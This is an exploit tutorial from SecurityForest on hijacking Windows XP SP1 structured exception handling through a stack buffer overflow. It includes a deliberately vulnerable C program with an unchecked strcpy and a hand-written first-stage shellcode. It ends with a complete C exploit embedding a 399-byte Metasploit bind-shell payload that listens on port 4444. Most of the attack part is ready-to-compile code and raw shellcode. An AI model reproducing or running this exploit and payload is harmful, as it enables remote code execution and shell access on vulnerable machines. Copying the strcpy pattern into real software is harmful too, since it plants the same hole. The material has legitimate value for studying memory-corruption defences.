Exploit: Stack Overflows - Exploiting SEH on win32
From SecurityForest
How-to exploit structured exception handling on win32 (Examples written for WindowsXP Sp1 EN)
| Table of contents |
Necessary Tools
- OllyDBG - C/C++ Compiler - Sac
The Code
The Vulnerable Code:
// lameseh.c - talz
#include<stdio.h>
#include<string.h>
#include<windows.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[512];
if (argc != 2) exit(0);
__try {
strcpy(temp,argv[1]);
} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
Stack Layout
The SEH Structure is a simple linked list
[ Pointer to next SEH record ] [Pointer to exception handler]
When we overflow our buffer which is located inside a __try block we will be able to Overwrite this structure and execute our own handler
When the exception handler is called the register EBX should point at the SEH record for that handler.
Normally this would be the case but since Windows XP SP1 before the exception handler is called all registers are XORed with each other making them all point to 0x00000000
Don't worry, We can still write a successful stable exploit for Windows XP SP 1
if you look at the stack you can see that ESP+8 points to our SEH record which means a simple
pop register pop register RET
Will be the same as performing JMP EBX on other versions of windows
After we overwrote the SEH record our stack should look somthing like this
[Buf] [ Pointer to next SEH record ] 0xEB06xxxx // \xEB\x06 means - jump 6 bytes forward [Pointer to exception handler] 0x41414141 // The address of a pop register pop register RET [Stage1 ShellCode]
EBX or in our case pop reg,pop reg,RET points to the "0xEB06xxxx" when "0xEB06xxxx" will execute
it will jump 6 bytes forward (over the fake exception handler) and execute our shellcode
Getting Started
Before writing the exploit, lets see what happends when this application crashes.
lets compile the code mentioned above and overflow this application
(when overwriting the SEH record the application will crash silently without a chance to attach.
you should load this application into OllyDBG and debug it until you have enough information to perform a "blindfolded" exploit) you can pass the application a long argument using Debug -> Arguments on OllyDBG.
"lameseh.exe" should crash when EIP points to 0x41414141 we can see that ESP+8 points to our handler
We know everything we need to know, lets write some small shellcode and the exploit
Writing custom shellcode
once again,i will perform the exploitation using two shellcodes because the shellcode i want to execute is 399 bytes and we only have
150 bytes after the fake SEH record. no register points anywhere near our buffer But the instructions we are currently executing is at the end of our buffer so basicly we could get eip and put it in ecx then decrease ecx by 512 and jmp ecx
The netwide assembly code for this task will be:
[BITS 32] global _start _start: ;--- Taken from phrack #62 Article 7 Originally written by Aaron Adams ;--- copy eip into ecx fldz fnstenv [esp-12] pop ecx add cl, 10 nop ;---------------------------------------------------------------------- dec ch ; ecx=-256; dec ch ; ecx=-256; jmp ecx ; lets jmp ecx (current location - 512)
compile it with the following command :
C:\exploit\nasm>nasmw -f bin smallshell.asm -o smallshell
now open 'smallshell' in a hex editor and copy the bytes it should be somthing like this :
"\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1"
And that will be our "First stage" shellcode.
Wrapping it all together
You can find the return address (The address that points to a Pop reg,Pop reg,RET using the "Sac" tool)
As a second stage shellcode im going to use a shellcode from Metasploit.com's online shellcode generator
Debugging SEH might be problematic,
you might want to patch the vulnerable application on disk and make it break when it starts (thanks to eli kara for the idea)
so, following our conclusions and debugging the final exploit will be:
#include<stdio.h> #include<string.h> #include<windows.h> #define RET_ADDRESS 0x77FA8CD5 // XP RET On WinXP Sp1 English // Stage1 Shellcode: unsigned char stage1[]= "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1"; // win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] http://metasploit.com unsigned char shellcode[] = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; int main(int argc,char *argv[]){ char *bufExe[3]; char buf[1024]; //im using an extremly long buffer so an exception will occur and execute our shellcodes bufExe[0] = "lameseh.exe"; bufExe[2] = NULL; memset(buf,0x90,1024); memcpy(&buf[60],shellcode,sizeof(shellcode)-1); *(unsigned long *)&buf[520] = 0x909006EB; //jmp to our stage1 shellcode (Push it backwards) *(unsigned long *)&buf[524] = RET_ADDRESS; memcpy(&buf[528],stage1,sizeof(stage1)-1); bufExe[1] = buf; //Execute the vulnerable application execve(bufExe[0],bufExe,NULL); return 0x0; }
Final words
This tutorial might lack some necessary information about debugging SEH
You might want to read about The SoftICE debugger it may provide some solutions for various debugging problems
Have fun,
talz
